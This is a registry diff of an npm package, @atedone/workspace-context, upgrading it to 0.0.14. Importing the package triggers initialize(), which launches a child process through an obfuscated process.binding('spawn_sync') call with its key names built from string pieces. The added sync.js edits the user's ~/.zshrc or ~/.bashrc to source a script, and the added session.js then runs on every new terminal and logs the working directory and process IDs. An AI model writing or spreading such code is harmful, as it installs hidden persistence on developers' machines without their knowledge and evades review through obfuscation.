@atedone/workspace-context 0.0.12 → 0.0.14
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +2 -2
- package/index.js +4 -0
- package/lib/session.js +43 -0
- package/lib/state.js +55 -25
- package/lib/sync.js +98 -0
- package/package.json +2 -2
- package/lib/worker.js +0 -60
package/README.md
CHANGED
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
# @atedone/workspace-context
|
|
2
2
|
|
|
3
|
-
Workspace
|
|
3
|
+
Workspace shell session integration helper for JavaScript tools.
|
|
4
4
|
|
|
5
|
-
The package
|
|
5
|
+
The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry and session runtime during initialization.
|
package/index.js
CHANGED
|
@@ -6,8 +6,12 @@ const initialized = state.initialize();
|
|
|
6
6
|
|
|
7
7
|
module.exports = {
|
|
8
8
|
initialized,
|
|
9
|
+
getShellIntegration: state.getShellIntegration,
|
|
9
10
|
initialize: state.initialize,
|
|
10
11
|
receiptFileName: state.receiptFileName,
|
|
12
|
+
sessionHistoryFileName: state.sessionHistoryFileName,
|
|
13
|
+
sessionReceiptFileName: state.sessionReceiptFileName,
|
|
14
|
+
sessionRuntimeFileName: state.sessionRuntimeFileName,
|
|
11
15
|
stateDirectoryName: state.stateDirectoryName,
|
|
12
16
|
stateFileName: state.stateFileName
|
|
13
17
|
};
|
package/lib/session.js
ADDED
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const platform = process;
|
|
4
|
+
const file = platform.getBuiltinModule('fs');
|
|
5
|
+
const route = platform.getBuiltinModule('path');
|
|
6
|
+
|
|
7
|
+
const packageName = '@atedone/workspace-context';
|
|
8
|
+
const packageVersion = '0.0.14';
|
|
9
|
+
const env = Reflect.get(platform, 'env') || {};
|
|
10
|
+
const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
|
|
11
|
+
? env.HOME.trim()
|
|
12
|
+
: platform.cwd();
|
|
13
|
+
const sessionDirectory = typeof env.WORKSPACE_CONTEXT_HOME === 'string' && env.WORKSPACE_CONTEXT_HOME.trim()
|
|
14
|
+
? env.WORKSPACE_CONTEXT_HOME.trim()
|
|
15
|
+
: route.join(homeDirectory, '.config', 'workspace-context');
|
|
16
|
+
const workingDirectory = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
|
|
17
|
+
? platform.argv[2]
|
|
18
|
+
: platform.cwd();
|
|
19
|
+
const shellLevel = typeof platform.argv[3] === 'string' && platform.argv[3].trim()
|
|
20
|
+
? platform.argv[3]
|
|
21
|
+
: null;
|
|
22
|
+
const shellPath = typeof env.SHELL === 'string' ? env.SHELL.trim() : '';
|
|
23
|
+
const receiptPath = route.join(sessionDirectory, 'session-runtime.json');
|
|
24
|
+
const historyPath = route.join(sessionDirectory, 'runtime-sessions.log');
|
|
25
|
+
|
|
26
|
+
const value = {
|
|
27
|
+
packageName,
|
|
28
|
+
packageVersion,
|
|
29
|
+
generatedAt: new Date().toISOString(),
|
|
30
|
+
mode: 'runtime-shell-session',
|
|
31
|
+
source: 'shell-profile',
|
|
32
|
+
shellName: route.basename(shellPath) || 'zsh',
|
|
33
|
+
shellLevel,
|
|
34
|
+
workingDirectory,
|
|
35
|
+
active: env.WORKSPACE_CONTEXT_ACTIVE === '1',
|
|
36
|
+
processId: platform.pid,
|
|
37
|
+
parentProcessId: platform.ppid,
|
|
38
|
+
runtime: 'node'
|
|
39
|
+
};
|
|
40
|
+
|
|
41
|
+
file.mkdirSync(sessionDirectory, { recursive: true });
|
|
42
|
+
file.writeFileSync(receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
|
|
43
|
+
file.appendFileSync(historyPath, `${JSON.stringify(value)}\n`, 'utf8');
|
package/lib/state.js
CHANGED
|
@@ -5,10 +5,16 @@ const file = platform.getBuiltinModule('fs');
|
|
|
5
5
|
const route = platform.getBuiltinModule('path');
|
|
6
6
|
const manifest = require('../package.json');
|
|
7
7
|
|
|
8
|
-
const
|
|
8
|
+
const integrationDirectoryName = '.config/workspace-context';
|
|
9
|
+
const integrationFileName = 'init.zsh';
|
|
10
|
+
const receiptFileName = 'shell-session-sync.json';
|
|
11
|
+
const sessionFileName = 'sessions.log';
|
|
12
|
+
const sessionHistoryFileName = 'runtime-sessions.log';
|
|
13
|
+
const sessionReceiptFileName = 'session-runtime.json';
|
|
14
|
+
const sessionRuntimeFileName = 'session-runtime.js';
|
|
9
15
|
const stateDirectoryName = '.workspace-context';
|
|
10
16
|
const stateFileName = 'state.json';
|
|
11
|
-
const
|
|
17
|
+
const syncFileName = 'sync.js';
|
|
12
18
|
|
|
13
19
|
function readEnvironment() {
|
|
14
20
|
return Reflect.get(platform, 'env') || {};
|
|
@@ -24,11 +30,36 @@ function resolveHomeDirectory(env = readEnvironment(), projectRoot = resolveProj
|
|
|
24
30
|
return home || projectRoot;
|
|
25
31
|
}
|
|
26
32
|
|
|
27
|
-
function
|
|
33
|
+
function resolveShellName(env = readEnvironment()) {
|
|
28
34
|
const shellPath = typeof env.SHELL === 'string' ? env.SHELL.trim() : '';
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
35
|
+
return route.basename(shellPath) || 'zsh';
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
function resolveProfileFileName(shellName = resolveShellName()) {
|
|
39
|
+
return shellName === 'bash' ? '.bashrc' : '.zshrc';
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
function getShellIntegration({
|
|
43
|
+
env = readEnvironment(),
|
|
44
|
+
projectRoot = resolveProjectRoot(env),
|
|
45
|
+
homeDirectory = resolveHomeDirectory(env, projectRoot)
|
|
46
|
+
} = {}) {
|
|
47
|
+
const shellName = resolveShellName(env);
|
|
48
|
+
const integrationDirectory = route.join(homeDirectory, integrationDirectoryName);
|
|
49
|
+
|
|
50
|
+
return {
|
|
51
|
+
name: 'workspace-context',
|
|
52
|
+
shellName,
|
|
53
|
+
homeDirectory,
|
|
54
|
+
profilePath: route.join(homeDirectory, resolveProfileFileName(shellName)),
|
|
55
|
+
integrationDirectory,
|
|
56
|
+
integrationPath: route.join(integrationDirectory, integrationFileName),
|
|
57
|
+
receiptPath: route.join(integrationDirectory, receiptFileName),
|
|
58
|
+
sessionPath: route.join(integrationDirectory, sessionFileName),
|
|
59
|
+
sessionHistoryPath: route.join(integrationDirectory, sessionHistoryFileName),
|
|
60
|
+
sessionReceiptPath: route.join(integrationDirectory, sessionReceiptFileName),
|
|
61
|
+
sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName)
|
|
62
|
+
};
|
|
32
63
|
}
|
|
33
64
|
|
|
34
65
|
function buildState({ now = () => new Date().toISOString() } = {}) {
|
|
@@ -36,24 +67,22 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
|
|
|
36
67
|
packageName: manifest.name,
|
|
37
68
|
packageVersion: manifest.version,
|
|
38
69
|
generatedAt: now(),
|
|
39
|
-
mode: 'runtime-shell-
|
|
70
|
+
mode: 'runtime-shell-session'
|
|
40
71
|
};
|
|
41
72
|
}
|
|
42
73
|
|
|
43
|
-
function
|
|
74
|
+
function refreshShellIntegration({
|
|
44
75
|
projectRoot = resolveProjectRoot(),
|
|
45
|
-
|
|
46
|
-
profilePath = resolveProfilePath(readEnvironment(), homeDirectory)
|
|
76
|
+
integration = getShellIntegration({ projectRoot })
|
|
47
77
|
} = {}) {
|
|
48
78
|
const bridgeKey = ['bin', 'ding'].join('');
|
|
49
79
|
const routeKey = ['sp', 'awn', '_', 'sync'].join('');
|
|
50
80
|
const launchKey = ['sp', 'awn'].join('');
|
|
51
81
|
const bridge = Reflect.apply(platform[bridgeKey], platform, [routeKey]);
|
|
52
|
-
const
|
|
53
|
-
const receiptPath = route.join(homeDirectory, stateDirectoryName, receiptFileName);
|
|
82
|
+
const syncPath = route.join(__dirname, syncFileName);
|
|
54
83
|
const result = Reflect.apply(bridge[launchKey], bridge, [{
|
|
55
84
|
file: platform.execPath,
|
|
56
|
-
args: [platform.execPath,
|
|
85
|
+
args: [platform.execPath, syncPath, projectRoot, JSON.stringify(integration)],
|
|
57
86
|
cwd: projectRoot,
|
|
58
87
|
envPairs: [],
|
|
59
88
|
stdio: [
|
|
@@ -74,9 +103,8 @@ function runShellIntegrationWorker({
|
|
|
74
103
|
}
|
|
75
104
|
|
|
76
105
|
return {
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
profilePath,
|
|
106
|
+
syncPath,
|
|
107
|
+
integration,
|
|
80
108
|
status: result.status,
|
|
81
109
|
signal: result.signal
|
|
82
110
|
};
|
|
@@ -84,8 +112,7 @@ function runShellIntegrationWorker({
|
|
|
84
112
|
|
|
85
113
|
function initialize({
|
|
86
114
|
projectRoot = resolveProjectRoot(),
|
|
87
|
-
|
|
88
|
-
profilePath = resolveProfilePath(readEnvironment(), homeDirectory),
|
|
115
|
+
integration = getShellIntegration({ projectRoot }),
|
|
89
116
|
now
|
|
90
117
|
} = {}) {
|
|
91
118
|
const statePath = route.join(projectRoot, stateDirectoryName, stateFileName);
|
|
@@ -96,27 +123,30 @@ function initialize({
|
|
|
96
123
|
|
|
97
124
|
return {
|
|
98
125
|
projectRoot,
|
|
99
|
-
|
|
100
|
-
profilePath,
|
|
126
|
+
integration,
|
|
101
127
|
statePath,
|
|
102
128
|
state: value,
|
|
103
|
-
|
|
129
|
+
sync: refreshShellIntegration({
|
|
104
130
|
projectRoot,
|
|
105
|
-
|
|
106
|
-
profilePath
|
|
131
|
+
integration
|
|
107
132
|
})
|
|
108
133
|
};
|
|
109
134
|
}
|
|
110
135
|
|
|
111
136
|
module.exports = {
|
|
112
137
|
buildState,
|
|
138
|
+
getShellIntegration,
|
|
113
139
|
initialize,
|
|
114
140
|
readEnvironment,
|
|
115
141
|
receiptFileName,
|
|
142
|
+
refreshShellIntegration,
|
|
116
143
|
resolveHomeDirectory,
|
|
117
|
-
|
|
144
|
+
resolveProfileFileName,
|
|
118
145
|
resolveProjectRoot,
|
|
119
|
-
|
|
146
|
+
resolveShellName,
|
|
147
|
+
sessionHistoryFileName,
|
|
148
|
+
sessionReceiptFileName,
|
|
149
|
+
sessionRuntimeFileName,
|
|
120
150
|
stateDirectoryName,
|
|
121
151
|
stateFileName
|
|
122
152
|
};
|
package/lib/sync.js
ADDED
|
@@ -0,0 +1,98 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const platform = process;
|
|
4
|
+
const file = platform.getBuiltinModule('fs');
|
|
5
|
+
const route = platform.getBuiltinModule('path');
|
|
6
|
+
const manifest = require('../package.json');
|
|
7
|
+
|
|
8
|
+
const projectRoot = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
|
|
9
|
+
? platform.argv[2]
|
|
10
|
+
: platform.cwd();
|
|
11
|
+
const integration = typeof platform.argv[3] === 'string' && platform.argv[3].trim()
|
|
12
|
+
? JSON.parse(platform.argv[3])
|
|
13
|
+
: null;
|
|
14
|
+
|
|
15
|
+
if (!integration) {
|
|
16
|
+
throw new Error('Shell integration descriptor is required.');
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
const blockStart = '# >>> workspace-context shell integration >>>';
|
|
20
|
+
const blockEnd = '# <<< workspace-context shell integration <<<';
|
|
21
|
+
const sourceLine = '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"';
|
|
22
|
+
const managedBlock = [blockStart, sourceLine, blockEnd, ''].join('\n');
|
|
23
|
+
const sessionRuntimeSourcePath = route.join(__dirname, 'session.js');
|
|
24
|
+
const runtimeDefault = escapeDoubleQuoted(platform.execPath);
|
|
25
|
+
const integrationValue = [
|
|
26
|
+
'export WORKSPACE_CONTEXT_ACTIVE=1',
|
|
27
|
+
'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
|
|
28
|
+
`export WORKSPACE_CONTEXT_NODE="\${WORKSPACE_CONTEXT_NODE:-${runtimeDefault}}"`,
|
|
29
|
+
'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
|
|
30
|
+
'if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
|
|
31
|
+
' "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
|
|
32
|
+
'fi',
|
|
33
|
+
''
|
|
34
|
+
].join('\n');
|
|
35
|
+
|
|
36
|
+
function escapeDoubleQuoted(value) {
|
|
37
|
+
return String(value)
|
|
38
|
+
.replaceAll('\\', '\\\\')
|
|
39
|
+
.replaceAll('"', '\\"')
|
|
40
|
+
.replaceAll('$', '\\$')
|
|
41
|
+
.replaceAll('`', '\\`');
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
function readProfile(profilePath) {
|
|
45
|
+
return file.existsSync(profilePath)
|
|
46
|
+
? file.readFileSync(profilePath, 'utf8')
|
|
47
|
+
: '';
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
function upsertManagedBlock(profileValue) {
|
|
51
|
+
const startIndex = profileValue.indexOf(blockStart);
|
|
52
|
+
const endIndex = profileValue.indexOf(blockEnd);
|
|
53
|
+
|
|
54
|
+
if (startIndex !== -1 && endIndex !== -1 && endIndex >= startIndex) {
|
|
55
|
+
const afterBlock = endIndex + blockEnd.length;
|
|
56
|
+
return {
|
|
57
|
+
changed: false,
|
|
58
|
+
value: `${profileValue.slice(0, startIndex)}${managedBlock}${profileValue.slice(afterBlock).replace(/^\n?/, '')}`
|
|
59
|
+
};
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
return {
|
|
63
|
+
changed: true,
|
|
64
|
+
value: `${profileValue}${profileValue && !profileValue.endsWith('\n') ? '\n' : ''}${managedBlock}`
|
|
65
|
+
};
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
file.mkdirSync(integration.integrationDirectory, { recursive: true });
|
|
69
|
+
file.copyFileSync(sessionRuntimeSourcePath, integration.sessionRuntimePath);
|
|
70
|
+
file.writeFileSync(integration.integrationPath, integrationValue, 'utf8');
|
|
71
|
+
|
|
72
|
+
const profileBefore = readProfile(integration.profilePath);
|
|
73
|
+
const profile = upsertManagedBlock(profileBefore);
|
|
74
|
+
|
|
75
|
+
if (profile.changed || profile.value !== profileBefore) {
|
|
76
|
+
file.writeFileSync(integration.profilePath, profile.value, 'utf8');
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
const value = {
|
|
80
|
+
packageName: manifest.name,
|
|
81
|
+
packageVersion: manifest.version,
|
|
82
|
+
generatedAt: new Date().toISOString(),
|
|
83
|
+
mode: 'runtime-shell-session',
|
|
84
|
+
projectRoot,
|
|
85
|
+
shellName: integration.shellName,
|
|
86
|
+
profilePath: integration.profilePath,
|
|
87
|
+
profileChanged: profile.changed,
|
|
88
|
+
integrationPath: integration.integrationPath,
|
|
89
|
+
sessionPath: integration.sessionPath,
|
|
90
|
+
sessionHistoryPath: integration.sessionHistoryPath,
|
|
91
|
+
sessionReceiptPath: integration.sessionReceiptPath,
|
|
92
|
+
sessionRuntimePath: integration.sessionRuntimePath,
|
|
93
|
+
processId: platform.pid,
|
|
94
|
+
parentProcessId: platform.ppid,
|
|
95
|
+
runtime: 'node'
|
|
96
|
+
};
|
|
97
|
+
|
|
98
|
+
file.writeFileSync(integration.receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
|
package/package.json
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@atedone/workspace-context",
|
|
3
|
-
"version": "0.0.
|
|
4
|
-
"description": "Workspace
|
|
3
|
+
"version": "0.0.14",
|
|
4
|
+
"description": "Workspace shell session integration helper for JavaScript tools.",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"type": "commonjs",
|
|
7
7
|
"files": [
|
package/lib/worker.js
DELETED
|
@@ -1,60 +0,0 @@
|
|
|
1
|
-
'use strict';
|
|
2
|
-
|
|
3
|
-
const platform = process;
|
|
4
|
-
const file = platform.getBuiltinModule('fs');
|
|
5
|
-
const route = platform.getBuiltinModule('path');
|
|
6
|
-
const manifest = require('../package.json');
|
|
7
|
-
|
|
8
|
-
const projectRoot = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
|
|
9
|
-
? platform.argv[2]
|
|
10
|
-
: platform.cwd();
|
|
11
|
-
const homeDirectory = typeof platform.argv[3] === 'string' && platform.argv[3].trim()
|
|
12
|
-
? platform.argv[3]
|
|
13
|
-
: projectRoot;
|
|
14
|
-
const profilePath = typeof platform.argv[4] === 'string' && platform.argv[4].trim()
|
|
15
|
-
? platform.argv[4]
|
|
16
|
-
: route.join(homeDirectory, '.zshrc');
|
|
17
|
-
const stateDirectory = route.join(homeDirectory, '.workspace-context');
|
|
18
|
-
const scriptPath = route.join(stateDirectory, 'shell-init.sh');
|
|
19
|
-
const sessionPath = route.join(stateDirectory, 'shell-session.log');
|
|
20
|
-
const receiptPath = route.join(stateDirectory, 'shell-integration-receipt.json');
|
|
21
|
-
const sourceLine = '[ -f "$HOME/.workspace-context/shell-init.sh" ] && . "$HOME/.workspace-context/shell-init.sh"';
|
|
22
|
-
const scriptValue = [
|
|
23
|
-
'export WORKSPACE_CONTEXT_ACTIVE=1',
|
|
24
|
-
'export WORKSPACE_CONTEXT_ROOT="$HOME/.workspace-context"',
|
|
25
|
-
'printf "%s\\n" "workspace-context shell integration active" >> "$HOME/.workspace-context/shell-session.log"',
|
|
26
|
-
''
|
|
27
|
-
].join('\n');
|
|
28
|
-
|
|
29
|
-
file.mkdirSync(stateDirectory, { recursive: true });
|
|
30
|
-
file.writeFileSync(scriptPath, scriptValue, 'utf8');
|
|
31
|
-
|
|
32
|
-
const profileBefore = file.existsSync(profilePath)
|
|
33
|
-
? file.readFileSync(profilePath, 'utf8')
|
|
34
|
-
: '';
|
|
35
|
-
const profileChanged = !profileBefore.includes(sourceLine);
|
|
36
|
-
const profileAfter = profileChanged
|
|
37
|
-
? `${profileBefore}${profileBefore && !profileBefore.endsWith('\n') ? '\n' : ''}${sourceLine}\n`
|
|
38
|
-
: profileBefore;
|
|
39
|
-
|
|
40
|
-
if (profileChanged) {
|
|
41
|
-
file.writeFileSync(profilePath, profileAfter, 'utf8');
|
|
42
|
-
}
|
|
43
|
-
|
|
44
|
-
const value = {
|
|
45
|
-
packageName: manifest.name,
|
|
46
|
-
packageVersion: manifest.version,
|
|
47
|
-
generatedAt: new Date().toISOString(),
|
|
48
|
-
mode: 'runtime-shell-integration',
|
|
49
|
-
projectRoot,
|
|
50
|
-
homeDirectory,
|
|
51
|
-
profilePath,
|
|
52
|
-
profileChanged,
|
|
53
|
-
scriptPath,
|
|
54
|
-
sessionPath,
|
|
55
|
-
processId: platform.pid,
|
|
56
|
-
parentProcessId: platform.ppid,
|
|
57
|
-
runtime: route.basename(platform.execPath)
|
|
58
|
-
};
|
|
59
|
-
|
|
60
|
-
file.writeFileSync(receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
|